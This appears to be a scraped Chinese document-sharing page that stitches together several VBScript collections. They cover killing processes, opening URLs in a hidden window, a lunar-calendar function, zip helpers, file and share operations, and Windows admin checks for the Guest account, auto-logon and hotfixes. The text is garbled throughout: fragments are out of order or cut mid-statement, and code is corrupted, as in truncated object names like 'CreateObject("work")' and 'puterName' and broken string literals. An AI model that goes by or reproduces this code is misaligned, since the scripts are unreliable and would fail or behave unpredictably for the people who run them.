WithEmail.Send12.VBS结束进程程序代码strComputer = "."Set objWMIService = GetObject _("winmgmts:\\" & strComputer & "\root\cimv2")Set colProcessList = objWMIService.ExecQuery _("Select * from Win32_Process Where Name = 'Rar.exe'")For Each objProcess in colProcessListobjProcess.Terminate()Next13.VBS隐藏打开网址13.1.部分浏览器无法隐藏打开,而是直接打开,适合主流用户使用程序代码createObject("wscript.shell").run "iexplore /",013.2.兼容所有浏览器,使用IE的绝对路径+参数打开,无法用函数得到IE安装路径,只用函数得到了Program Files路径,应该比上面的方法好,但是两种方法都不是绝对的。
最新最全的VBS脚本应用超级范例大全
可以显示农历的VBS代码:<script language=vbscript>Function nl()'获取当前系统时间curTime = Now()Dim WeekName(7), MonthAdd(11), NongliData(99), TianGan(9), DiZhi(11), ShuXiang(11), DayName(30), MonName(12)'星期名WeekName(0) = " * "WeekName(1) = "星期日"WeekName(2) = "星期一"WeekName(3) = "星期二"WeekName(4) = "星期三"WeekName(5) = "星期四"WeekName(6) = "星期五"WeekName(7) = "星期六"'天干名称TianGan(0) = "甲"TianGan(1) = "乙"TianGan(2) = "丙"TianGan(3) = "丁"TianGan(4) = "戊"TianGan(5) = "己"TianGan(6) = "庚"TianGan(7) = "辛"TianGan(8) = "壬"TianGan(9) = "癸"'地支名称DiZhi(0) = "子"DiZhi(1) = "丑"DiZhi(2) = "寅"DiZhi(3) = "卯"DiZhi(4) = "辰"DiZhi(5) = "巳"DiZhi(6) = "午"DiZhi(7) = "未"DiZhi(8) = "申"DiZhi(9) = "酉"DiZhi(10) = "戌"DiZhi(11) = "亥"'属相名称ShuXiang(0) = "鼠"ShuXiang(1) = "牛" ShuXiang(2) = "虎" ShuXiang(3) = "兔" ShuXiang(4) = "龙" ShuXiang(5) = "蛇" ShuXiang(6) = "马" ShuXiang(7) = "羊" ShuXiang(8) = "猴" ShuXiang(9) = "鸡" ShuXiang(10) = "狗" ShuXiang(11) = "猪" '农历日期名DayName(0) = "*" DayName(1) = "初一" DayName(2) = "初二" DayName(3) = "初三" DayName(4) = "初四" DayName(5) = "初五" DayName(6) = "初六" DayName(7) = "初七" DayName(8) = "初八" DayName(9) = "初九" DayName(10) = "初十" DayName(11) = "十一" DayName(12) = "十二" DayName(13) = "十三" DayName(14) = "十四" DayName(15) = "十五" DayName(16) = "十六" DayName(17) = "十七" DayName(18) = "十八" DayName(19) = "十九" DayName(20) = "二十" DayName(21) = "廿一" DayName(22) = "廿二" DayName(23) = "廿三" DayName(24) = "廿四" DayName(25) = "廿五" DayName(26) = "廿六" DayName(27) = "廿七" DayName(28) = "廿八" DayName(29) = "廿九" DayName(30) = "三十" '农历月份名MonName(0) = "*" MonName(1) = "正" MonName(2) = "二" MonName(3) = "三" MonName(4) = "四" MonName(5) = "五" MonName(6) = "六" MonName(7) = "七" MonName(8) = "八" MonName(9) = "九" MonName(10) = "十" MonName(11) = "十一" MonName(12) = "腊"'公历每月前面的天数MonthAdd(0) = 0 MonthAdd(1) = 31 MonthAdd(2) = 59 MonthAdd(3) = 90 MonthAdd(4) = 120 MonthAdd(5) = 151 MonthAdd(6) = 181 MonthAdd(7) = 212 MonthAdd(8) = 243 MonthAdd(9) = 273 MonthAdd(10) = 304 MonthAdd(11) = 334'农历数据NongliData(0) = 2635 NongliData(1) = 333387 NongliData(2) = 1701 NongliData(3) = 1748 NongliData(4) = 267701 NongliData(5) = 694 NongliData(6) = 2391 NongliData(7) = 133423 NongliData(8) = 1175 NongliData(9) = 396438 NongliData(10) = 3402 NongliData(11) = 3749 NongliData(12) = 331177 NongliData(13) = 1453 NongliData(14) = 694 NongliData(15) = 201326 NongliData(16) = 2350NongliData(18) = 3221 NongliData(19) = 3402 NongliData(20) = 400202 NongliData(21) = 2901 NongliData(22) = 1386 NongliData(23) = 267611 NongliData(24) = 605 NongliData(25) = 2349 NongliData(26) = 137515 NongliData(27) = 2709 NongliData(28) = 464533 NongliData(29) = 1738 NongliData(30) = 2901 NongliData(31) = 330421 NongliData(32) = 1242 NongliData(33) = 2651 NongliData(34) = 199255 NongliData(35) = 1323 NongliData(36) = 529706 NongliData(37) = 3733 NongliData(38) = 1706 NongliData(39) = 398762 NongliData(40) = 2741 NongliData(41) = 1206 NongliData(42) = 267438 NongliData(43) = 2647 NongliData(44) = 1318 NongliData(45) = 204070 NongliData(46) = 3477 NongliData(47) = 461653 NongliData(48) = 1386 NongliData(49) = 2413 NongliData(50) = 330077 NongliData(51) = 1197 NongliData(52) = 2637 NongliData(53) = 268877 NongliData(54) = 3365 NongliData(55) = 531109 NongliData(56) = 2900 NongliData(57) = 2922 NongliData(58) = 398042 NongliData(59) = 2395 NongliData(60) = 1179NongliData(62) = 2635NongliData(63) = 661067NongliData(64) = 1701NongliData(65) = 1748NongliData(66) = 398772NongliData(67) = 2742NongliData(68) = 2391NongliData(69) = 330031NongliData(70) = 1175NongliData(71) = 1611NongliData(72) = 200010NongliData(73) = 3749NongliData(74) = 527717NongliData(75) = 1452NongliData(76) = 2742NongliData(77) = 332397NongliData(78) = 2350NongliData(79) = 3222NongliData(80) = 268949NongliData(81) = 3402NongliData(82) = 3493NongliData(83) = 133973NongliData(84) = 1386NongliData(85) = 464219NongliData(86) = 605NongliData(87) = 2349NongliData(88) = 334123NongliData(89) = 2709NongliData(90) = 2890NongliData(91) = 267946NongliData(92) = 2773NongliData(93) = 592565NongliData(94) = 1210NongliData(95) = 2651NongliData(96) = 395863NongliData(97) = 1323NongliData(98) = 2707NongliData(99) = 265877'生成当前公历年、月、日 ==> GongliStr curYear = Year(curTime)curMonth = Month(curTime)curDay = Day(curTime)GongliStr = curYear & "年"If (curMonth < 10) ThenGongliStr = GongliStr & "0" & curMonth & "月"ElseGongliStr = GongliStr & curMonth & "月"End IfIf (curDay < 10) ThenGongliStr = GongliStr & "0" & curDay & "日"ElseGongliStr = GongliStr & curDay & "日"End If'生成当前公历星期 ==> WeekdayStrcurWeekday = Weekday(curTime)WeekdayStr = WeekName(curWeekday)'计算到初始时间1921年2月8日的天数:1921-2-8(正月初一)TheDate = (curYear - 1921) * 365 + Int((curYear - 1921) / 4) + curDay + MonthAdd(curMonth - 1) - 38If ((curYear Mod 4) = 0 And curMonth > 2) ThenTheDate = TheDate + 1End If'计算农历天干、地支、月、日isEnd = 0m = 0DoIf (NongliData(m) < 4095) Thenk = 11Elsek = 12End Ifn = kDoIf (n < 0) ThenExit DoEnd If'获取NongliData(m)的第n个二进制位的值bit = NongliData(m)For i = 1 To n Step 1bit = Int(bit / 2)Nextbit = bit Mod 2If (TheDate <= 29 + bit) ThenisEnd = 1Exit DoEnd IfTheDate = TheDate - 29 - bitn = n - 1LoopIf (isEnd = 1) ThenExit DoEnd Ifm = m + 1LoopcurYear = 1921 + mcurMonth = k - n + 1curDay = TheDateIf (k = 12) ThenIf (curMonth = (Int(NongliData(m) / 65536) + 1)) ThencurMonth = 1 - curMonthElseIf (curMonth > (Int(NongliData(m) / 65536) + 1)) ThencurMonth = curMonth - 1End IfEnd If'生成农历天干、地支、属相 ==> NongliStrNongliStr = "农历" & TianGan(((curYear - 4) Mod 60) Mod 10) &DiZhi(((curYear - 4) Mod 60) Mod 12) & "年"NongliStr = NongliStr & "(" & ShuXiang(((curYear - 4) Mod 60) Mod 12) & ")"'生成农历月、日 ==> NongliDayStrIf (curMonth < 1) ThenNongliDayStr = "闰" & MonName(-1 * curMonth)ElseNongliDayStr = MonName(curMonth)End IfNongliDayStr = NongliDayStr & "月"NongliDayStr = NongliDayStr & DayName(curDay)nl = NongliStr & NongliDayStrEnd Functionmsgbox nl</script>vbs实现显示系统调色板的代码:set ie = createobject("internetexplorer.application")ie.navigate "about:blank"do until ie.readystate = 4 : wscript.sleep 25 : loopset doc = ie.documentset body = doc.bodyset win = doc.parentwindowbody.innerhtml = "<OBJECT id=dlgCLASSID='clsid:3050f819-98b5-11cf-bb82-00aa00bdce0b'></OBJECT>"body.innertext = doc.getElementById("dlg").choosecolordlg win.clipboarddata.setdata "text", body.innertextie.quit用vbs实现zip功能的脚本:压缩:Function fZip(sSourceFolder,sTargetZIPFile)'This function will add all of the files in a source folder to a ZIP file 'using Windows' native folder ZIP capability.Dim oShellApp, oFSO, iErr, sErrSource, sErrDescriptionSet oShellApp = CreateObject("Shell.Application")Set oFSO = CreateObject("Scripting.FileSystemObject")'The source folder needs to have a \ on the EndIf Right(sSourceFolder,1) <> "\" Then sSourceFolder = sSourceFolder & "\" On Error Resume Next'If a target ZIP exists already, delete itIf oFSO.FileExists(sTargetZIPFile) Then oFSO.DeleteFile sTargetZIPFile,TrueiErr = Err.NumbersErrSource = Err.SourcesErrDescription = Err.DescriptionOn Error GoTo 0If iErr <> 0 ThenfZip = Array(iErr,sErrSource,sErrDescription)Exit FunctionEnd IfOn Error Resume Next'Write the fileheader for a blank zipfile.oFSO.OpenTextFile(sTargetZIPFile, 2, True).Write "PK" & Chr(5) & Chr(6) & String(18, Chr(0))iErr = Err.NumbersErrSource = Err.SourcesErrDescription = Err.DescriptionOn Error GoTo 0If iErr <> 0 ThenfZip = Array(iErr,sErrSource,sErrDescription)Exit FunctionEnd IfOn Error Resume Next'Start copying files into the zip from the source folder. Space(sTargetZIPFile).CopyHereSpace(sSourceFolder).ItemsiErr = Err.NumbersErrSource = Err.SourcesErrDescription = Err.DescriptionOn Error GoTo 0If iErr <> 0 ThenfZip = Array(iErr,sErrSource,sErrDescription)Exit FunctionEnd If'Because the copying occurs in a separate process, the script will just continue. Run a DO...LOOP to prevent the function'from exiting until the file is finished zipping.Do Until Space(sTargetZIPFile).Items.Count = Space(sSourceFolder).Items.CountWScript.Sleep 1500'如果不成功,增加一下秒数LoopfZip = Array(0,"","")End FunctionCall fZip ("C:\vbs","c:\vbs.zip")解压缩:Function fUnzip(sZipFile,sTargetFolder)'Create the Shell.Application objectDim oShellApp:Set oShellApp = CreateObject("Shell.Application")'Create the File System objectDim oFSO:Set oFSO = CreateObject("Scripting.FileSystemObject")'Create the target folder if it isn't already thereIf Not oFSO.FolderExists(sTargetFolder) Then oFSO.CreateFolder sTargetFolder'Extract the files from the zip into the folderSpace(sTargetFolder).CopyHereSpace(sZipFile).Items'This is a seperate process, so the script would continue even if the unzipping is not done'To prevent this, we run a DO...LOOP once a second checking to see if the number of files'in the target folder equals the number of files in the zipfile. If so, we continue.DoWScript.Sleep 1000‘有时需要更改Loop While oFSO.GetFolder(sTargetFolder).Files.Count <Space(sZipFile).Items.CountEnd Function非常棒的lcx写的非常规运行vbs :vbs有一个对像是“SAPI.SpVoice”,可以用它来讲英语的这个组件在xp、2003上默认都可以用的,调用后可以听到电脑上一个国外老男人在说话。
(完整版)VBS函数大全,推荐文档
Array 函数 (3)Asc 函数 (4)Atn 函数 (4)CBool 函数 (5)CByte 函数 (5)CCur 函数 (6)CDate 函数 (7)CDbl 函数 (7)Chr 函数 (8)CInt 函数 (8)CLng 函数 (9)Cos 函数 (10)CreateObject 函数 (10)CSng 函数 (12)CStr 函数 (12)Date 函数 (13)DateAdd 函数 (14)DateDiff 函数 (14)DatePart 函数 (15)DateSerial 函数 (17)DateValue 函数 (18)Day 函数 (18)Eval 函数 (19)Exp 函数 (20)Filter 函数 (20)FormatCurrency 函数 (22)FormatDateTime 函数 (23)FormatNumber 函数 (24)FormatPercent 函数 (25)GetLocale 函数 (26)GetObject 函数 (27)GetRef 函数 (29)Hex 函数 (30)Hour 函数 (31)InputBox 函数 (31)InStr 函数 (32)InStrRev 函数 (34)Int、Fix 函数 (36)IsArray 函数 (36)IsDate 函数 (37)IsEmpty 函数 (38)IsNull 函数 (38)IsNumeric 函数 (39)Join 函数 (40)LBound 函数 (41)LCase 函数 (41)Left 函数 (42)Len 函数 (43)LoadPicture 函数 (43)Log 函数 (44)LTrim、RTrim 和Trim 函数 (44)Mid 函数 (45)Minute (46)Month 函数 (46)MonthName 函数 (46)MsgBox 函数 (47)Now (49)Oct (50)Replace 函数 (50)RGB 函数 (52)Right 函数 (53)Rnd 函数 (53)Round 函数 (54)Microsoft(R) Visual Basic(R) Scripting Edition (55)ScriptEngineMajorVersion 函数 (56)ScriptEngineMinorVersion 函数 (56)Second 函数 (57)SetLocale 函数 (57)Sgn 函数 (58)Sin 函数 (59)Space 函数 (60)Split 函数 (60)Sqr 函数 (61)StrComp 函数 (62)String 函数 (63)StrReverse 函数 (64)Tan 函数 (64)Time 函数 (65)Timer 函数 (65)TimeSerial 函数 (65)TimeValue (66)TypeName 函数 (67)UBound 函数 (68)UCase 函数 (69)VarType 函数 (69)Weekday 函数 (70)Year 函数 (73)VBS 函数大全Abs 函数返回数字的绝对值。
文件和文件夹VBS脚本大全
创建文件夹
描述
演示脚本使用 FileSystemObject 创建一个文件夹。此脚本必须运行在本地计算机上。
脚本代码
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFolder = objFSO.CreateFolder("C:\FSO")
errReturn = objNewShare.Create _
("C:\Finance", "FinanceShare", FILE_SHARE, _
MAXIMUM_CONNECTIONS, "Public share for the Finance
group.")
Set objFSO = CreateObject("Scripting.FileSystemObject")
objFSO.MoveFile "C:\FSO\ScriptLog.log" , "D:\Archive"
通过日期查找文件夹
描述
查找在 2002 年 3 月 1 日之后创建的所有文件。要修改此脚本,您必须修改赋给变量 dtmTargetDate 的值中的下列项:
objFile.Close
objFSO.DeleteFile(strFullName)
创建网络共享
描述
创建一个名为 FinanceShare 的共享文件夹,将同时连接的最大数量设置为25,然后添加共享描述。
脚本代码
Const FILE_SHARE = 0
Const MAXIMUM_CONNECTIONS = 25
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
next
Wscript.Echo NL
14 我如何向用户显示一个用来选择文件的对话框?
问:
嗨,Scripting Guy!有没有什么方法可以让我使用脚本向用户显示一个对话框,供用户选择文件使用?
-- BF
答:
您好,BF。如果您使用的是 Windows 2000,我们不知道实现此操作的方法,至少操作系统中没有内置这
Next
8 检测自动登录是否开启
Const HKEY_LOCAL_MACHINE = &H80000002
strComputer = "."
Set objReg=GetObject("winmgmts:\\" & strComputer & "\root\default:StdRegProv")
If objUser.AccountDisabled Then
Wscript.Echo "The Guest account is disabled."
Else
Wscript.Echo "The Guest account is enabled."
End If
11 关闭Guest
Set colComputers = objWMIService.ExecQuery("Select * from Win32_ComputerSystem")
For Each objComputer in colComputers
Wscript.Echo
For Each objQuickFix in colQuickFixes
Wscript.Echo "Description: " & objQuickFix.Description
Wscript.Echo "Hot Fix ID: " & objQuickFix.HotFixID
Next
If objUser.AccountDisabled Then
Wscript.Echo "The Guest account is already disabled."
Else
objUser.AccountDisabled = True
objUser.SetInfo
Wscript.Echo "The Guest account has been disabled."
and Settings\\Administrator\\桌面\\' AND Drive = 'E:' AND Extension = 'txt'")
Wscript.Echo "Number of .txt files found: " & colFiles.Count
for each aa in colFiles
For Each objOperatingSystem in colOperatingSystems
Wscript.Echo objOperatingSystem.ServicePackMajorVersion & "." &
objOperatingSystem.ServicePackMinorVersion
strValueName = "AutoAdminLogon"
dwValue = 0
oReg.SetDWORDValue HKEY_LOCAL_MACHINE, strKeyPath, strValueName, dwValue
2010-4-7 16:05 回复
my7091818
6 检查本地管理员数目
Set objNetwork = CreateObject("work")
strComputer = puterName
Set objGroup = GetObject("WinNT://" & strComputer & "/Administrators,group")
For Each objUser in objGroup.Members
Wscript.Echo
Next
7 磁盘系统
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
33位粉丝
2楼
10 检查Guest是否禁用
Set objNetwork = CreateObject("work")
strComputer = puterName
Set objUser = GetObject("WinNT://" & strComputer & "/Guest")
Next
4 检查升级包
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set colOperatingSystems = objWMIService.ExecQuery("Select * from Win32_OperatingSystem")
strKeyPath = "Software\Microsoft\Windows NT\CurrentVersion\WinLogon"
strValueName = "AutoAdminLogon"
objReg.GetDWORDValue HKEY_LOCAL_MACHINE, strKeyPath, strValueName,dwValue
Win32_NetworkAdapterConfiguration Where IPEnabled=TRUE")
For Each IPConfig in IPConfigSet
If Not IsNull(IPConfig.IPAddress) Then
For Each strAddress in IPConfig.IPAddress
For each objShare in colShares
Wscript.Echo "Name: " &
Wscript.Echo "Path: " & objShare.Path
Wscript.Echo "Type: " & objShare.Type
Next
Set colDisks = objWMIService.ExecQuery("Select * from Win32_LogicalDisk Where DriveType =
3")
For Each objDisk in colDisks
Wscript.Echo "Disk drive: "& objDisk.DeviceID & " -- " & objDisk.FileSystem
VBS
取得本机IP
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set IPConfigSet = objWMIService.ExecQuery("Select IPAddress from
Set objNetwork = CreateObject("work")
strComputer = puterName
Set objUser = GetObject("WinNT://" & strComputer & "/Guest")
End If
12 检索本地共象
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set colShares = objWMIService.ExecQuery("Select * from Win32_Share")
WScript.Echo strAddress
Next
End If
Next
2 取得本机计算机名
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
这是一个小脚本,所以让我们逐行进行解释吧。我们首先创建一个对 monDialog 对象
的对象引用(名为“objDialog”)。接着,我们设置对话框的“筛选”属性。我们要显示所有文件,所